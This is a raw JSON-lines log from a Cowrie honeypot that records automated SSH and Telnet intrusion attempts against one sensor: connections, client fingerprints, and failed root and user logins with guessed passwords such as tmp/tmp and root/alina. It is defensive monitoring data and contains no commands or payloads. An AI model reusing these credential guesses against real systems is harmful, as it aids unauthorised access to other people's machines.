{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:28:48:cf:6c:28:aa:29:6f:bb:35:f4:01:ce:c9:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+Oc1EaUu0WM1p73TJRdTMiHEAh+LJqXH8+PGnZnYJkKsg8IUuuxaoDQEL7DZRHwhb8g2DocIkBVDFM6fqLJ68BNnwPFpTb233WiS0/h+eVsEwjRPbcYCgLXlKbJ226ZIVO+VmkYd1NIZ5NweaJhDRQJvLbiKreQVNjIdEr/aPe1gApr4CgiOJ2WZE8ljKy+OPYTkqSBI4Uai8BKhDSjQhobUPOpOnKEHbOUOj1JgOAmEZtCs2q7b4GOWB5p/xWNdXNGIz7r0wGAIG5JFZKTGUl/4ckvgIsl7/yaD7tDO42c8m8WpEIhQ1MrfiBFbjwDe/AUUaG5oLIzUVm5HFE6v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:28:48:cf:6c:28:aa:29:6f:bb:35:f4:01:ce:c9:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.369845Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:28:48:cf:6c:28:aa:29:6f:bb:35:f4:01:ce:c9:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+Oc1EaUu0WM1p73TJRdTMiHEAh+LJqXH8+PGnZnYJkKsg8IUuuxaoDQEL7DZRHwhb8g2DocIkBVDFM6fqLJ68BNnwPFpTb233WiS0/h+eVsEwjRPbcYCgLXlKbJ226ZIVO+VmkYd1NIZ5NweaJhDRQJvLbiKreQVNjIdEr/aPe1gApr4CgiOJ2WZE8ljKy+OPYTkqSBI4Uai8BKhDSjQhobUPOpOnKEHbOUOj1JgOAmEZtCs2q7b4GOWB5p/xWNdXNGIz7r0wGAIG5JFZKTGUl/4ckvgIsl7/yaD7tDO42c8m8WpEIhQ1MrfiBFbjwDe/AUUaG5oLIzUVm5HFE6v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.373552Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:2e:7e:76:bb:75:1a:47:07:42:7b:d7:4c:b3:37:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzMOU9wJ0YNw6djOnchRT5JlAPqrfeAV7ShFHqPsUuO2lT0KD7Wy0gHyOkHzqIjacr4mMfQWT8JFHOCBHAY/+uw2YGSu/OysM7+uk5tm50XDgM0YJjMWvs19qRyj/mAxdUO0vcXzGNzqRUDszVaRYZcgEoLg+ehaSOWBjUQJ8rNrT462XjvJ0GVl3q6FHCsmfLMT3j4F6inIb78gsKdThbbbnvFGO7WCNCWNZxBCkV77YfW+1Q+UAqK9hIBC83O8h5qjJDLg/1PUurNlklFb9txOFJrr5vVRBcX3h8tbHyMjGWXEN3ljMmhCL4jhTfErHa5kX7fB5CB3nJievwJPh3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:2e:7e:76:bb:75:1a:47:07:42:7b:d7:4c:b3:37:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.461393Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:2e:7e:76:bb:75:1a:47:07:42:7b:d7:4c:b3:37:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzMOU9wJ0YNw6djOnchRT5JlAPqrfeAV7ShFHqPsUuO2lT0KD7Wy0gHyOkHzqIjacr4mMfQWT8JFHOCBHAY/+uw2YGSu/OysM7+uk5tm50XDgM0YJjMWvs19qRyj/mAxdUO0vcXzGNzqRUDszVaRYZcgEoLg+ehaSOWBjUQJ8rNrT462XjvJ0GVl3q6FHCsmfLMT3j4F6inIb78gsKdThbbbnvFGO7WCNCWNZxBCkV77YfW+1Q+UAqK9hIBC83O8h5qjJDLg/1PUurNlklFb9txOFJrr5vVRBcX3h8tbHyMjGWXEN3ljMmhCL4jhTfErHa5kX7fB5CB3nJievwJPh3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.467697Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:3d:97:33:be:27:7f:be:b6:19:04:1b:8c:64:00:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyJMwaXeArUfCi3/I1Vs7EmVWt2ajzvBibgGojKtEkuSLqlGMCLziW8cIXpF16Dxc64d4e+V2XHPXdQgX5MC9Ot8f972+IM/msIgw/EWi5xVqylml9xei5/SJuHMGVXdV3ORg8UCPimFE3zlKwqzHSzS9NWchOywTaSmBBX330ir2Oy1M9P3Xfe40baXprtVbFOo4Qzp8QoBK3wr++HlampKXsunmpICA1IJKXTmSYlBETUmMSVtVo7CP1j5MrHnWUOCEwdroeiBb+eAJ+oYMSpr+RBhGIkvgLBLb3OQtF7AR2/5+QcLKDRnpQwWyy+lLQNQ5jNP6sWlf1AoXwIGTF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:3d:97:33:be:27:7f:be:b6:19:04:1b:8c:64:00:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.556270Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:3d:97:33:be:27:7f:be:b6:19:04:1b:8c:64:00:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyJMwaXeArUfCi3/I1Vs7EmVWt2ajzvBibgGojKtEkuSLqlGMCLziW8cIXpF16Dxc64d4e+V2XHPXdQgX5MC9Ot8f972+IM/msIgw/EWi5xVqylml9xei5/SJuHMGVXdV3ORg8UCPimFE3zlKwqzHSzS9NWchOywTaSmBBX330ir2Oy1M9P3Xfe40baXprtVbFOo4Qzp8QoBK3wr++HlampKXsunmpICA1IJKXTmSYlBETUmMSVtVo7CP1j5MrHnWUOCEwdroeiBb+eAJ+oYMSpr+RBhGIkvgLBLb3OQtF7AR2/5+QcLKDRnpQwWyy+lLQNQ5jNP6sWlf1AoXwIGTF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.560237Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:d9:e6:86:27:5b:cd:3c:4c:50:ad:5b:26:a2:52:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5TsfqUQH67vuluXZYuVMJgnNENxAUsuWyMlBhb3zcVYjYAiF/jkveZQKQmSJqhMSdRACRjRWjc2MZLmcne41eHqn3AQbzilTSrZgnwN4/lKeuEulMBL+pB4DTKRnM20W7CXR1PQIvCPbKNNyTq7h8Cx6bCacSxMu1kHnwuE0eCPAOnIq0fJP7WfQs9vXmRi4OCM7Xmg5QvJMCqnxXF2HDZXgFWjMgCda5tISrQV603tQhoZ0qLSTWAXpXChPYCHU7lJaRMSk3f5Zhs5lkBKVlBnGoijMHYpjrncvpXbbEVja3o/EHeGZi9MyF0OoAcarM8JMmL6UOATJllpCSkowbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:d9:e6:86:27:5b:cd:3c:4c:50:ad:5b:26:a2:52:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.647847Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:d9:e6:86:27:5b:cd:3c:4c:50:ad:5b:26:a2:52:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5TsfqUQH67vuluXZYuVMJgnNENxAUsuWyMlBhb3zcVYjYAiF/jkveZQKQmSJqhMSdRACRjRWjc2MZLmcne41eHqn3AQbzilTSrZgnwN4/lKeuEulMBL+pB4DTKRnM20W7CXR1PQIvCPbKNNyTq7h8Cx6bCacSxMu1kHnwuE0eCPAOnIq0fJP7WfQs9vXmRi4OCM7Xmg5QvJMCqnxXF2HDZXgFWjMgCda5tISrQV603tQhoZ0qLSTWAXpXChPYCHU7lJaRMSk3f5Zhs5lkBKVlBnGoijMHYpjrncvpXbbEVja3o/EHeGZi9MyF0OoAcarM8JMmL6UOATJllpCSkowbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.652192Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.741102Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d469595bbda","protocol":"telnet","message":"New connection: 192.119.13.58:55060 (10.17.0.5:23) [session: 5d469595bbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:11.090146Z"}
{"eventid":"cowrie.session.closed","duration":34.19234013557434,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:11.534553Z","src_ip":"192.119.13.58","session":"e33685c87ab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":33000,"dst_ip":"10.17.0.5","dst_port":22,"session":"885b0e7de078","protocol":"ssh","message":"New connection: 175.118.127.138:33000 (10.17.0.5:22) [session: 885b0e7de078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:12.767252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:12.774554Z","src_ip":"175.118.127.138","session":"885b0e7de078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:12.956536Z","src_ip":"175.118.127.138","session":"885b0e7de078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"tmp","message":"login attempt [tmp/tmp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:13.701156Z","src_ip":"175.118.127.138","session":"885b0e7de078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:14.884777Z","src_ip":"175.118.127.138","session":"885b0e7de078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.24643325805664,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:15.936773Z","src_ip":"192.119.13.58","session":"6ad84edb8114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86962389945984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:16.351176Z","src_ip":"192.119.13.58","session":"b2ee1aa0744b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":57238,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f3597614f78","protocol":"ssh","message":"New connection: 165.154.5.249:57238 (159.203.135.109:22) [session: 5f3597614f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:17.007425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:17.013039Z","src_ip":"165.154.5.249","session":"5f3597614f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:17.230414Z","src_ip":"165.154.5.249","session":"5f3597614f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45594,"dst_ip":"10.17.0.5","dst_port":22,"session":"37319a117c84","protocol":"ssh","message":"New connection: 193.32.162.145:45594 (10.17.0.5:22) [session: 37319a117c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:17.573834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:17.579071Z","src_ip":"193.32.162.145","session":"37319a117c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:17.689548Z","src_ip":"193.32.162.145","session":"37319a117c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60086,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d17ecc7e2e2","protocol":"telnet","message":"New connection: 192.119.13.58:60086 (10.17.0.5:23) [session: 4d17ecc7e2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:18.050900Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"raydium","message":"login attempt [ubuntu/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:18.123609Z","src_ip":"193.32.162.145","session":"37319a117c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alina","message":"login attempt [root/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:18.143730Z","src_ip":"165.154.5.249","session":"5f3597614f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:19.234215Z","src_ip":"193.32.162.145","session":"37319a117c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:19.364524Z","src_ip":"165.154.5.249","session":"5f3597614f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35334,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9622b34057a","protocol":"ssh","message":"New connection: 194.113.233.25:35334 (10.17.0.5:22) [session: e9622b34057a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:19.414535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:19.420444Z","src_ip":"194.113.233.25","session":"e9622b34057a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:19.511351Z","src_ip":"194.113.233.25","session":"e9622b34057a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"larisa","message":"login attempt [root/larisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:19.785723Z","src_ip":"194.113.233.25","session":"e9622b34057a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.89728832244873,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:19.987224Z","src_ip":"192.119.13.58","session":"5d469595bbda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:20.878243Z","src_ip":"194.113.233.25","session":"e9622b34057a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":34362,"dst_ip":"159.203.135.109","dst_port":23,"session":"860b58bbf47d","protocol":"telnet","message":"New connection: 186.195.16.41:34362 (159.203.135.109:23) [session: 860b58bbf47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:23.673800Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":36834,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffbc41cd58ab","protocol":"ssh","message":"New connection: 43.163.121.249:36834 (159.203.135.109:22) [session: ffbc41cd58ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:24.439727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:24.444911Z","src_ip":"43.163.121.249","session":"ffbc41cd58ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:24.697402Z","src_ip":"43.163.121.249","session":"ffbc41cd58ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2093","message":"login attempt [root/2093] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:25.716717Z","src_ip":"43.163.121.249","session":"ffbc41cd58ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39882,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2677dfec314","protocol":"telnet","message":"New connection: 192.119.13.58:39882 (10.17.0.5:23) [session: c2677dfec314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:26.730891Z"}
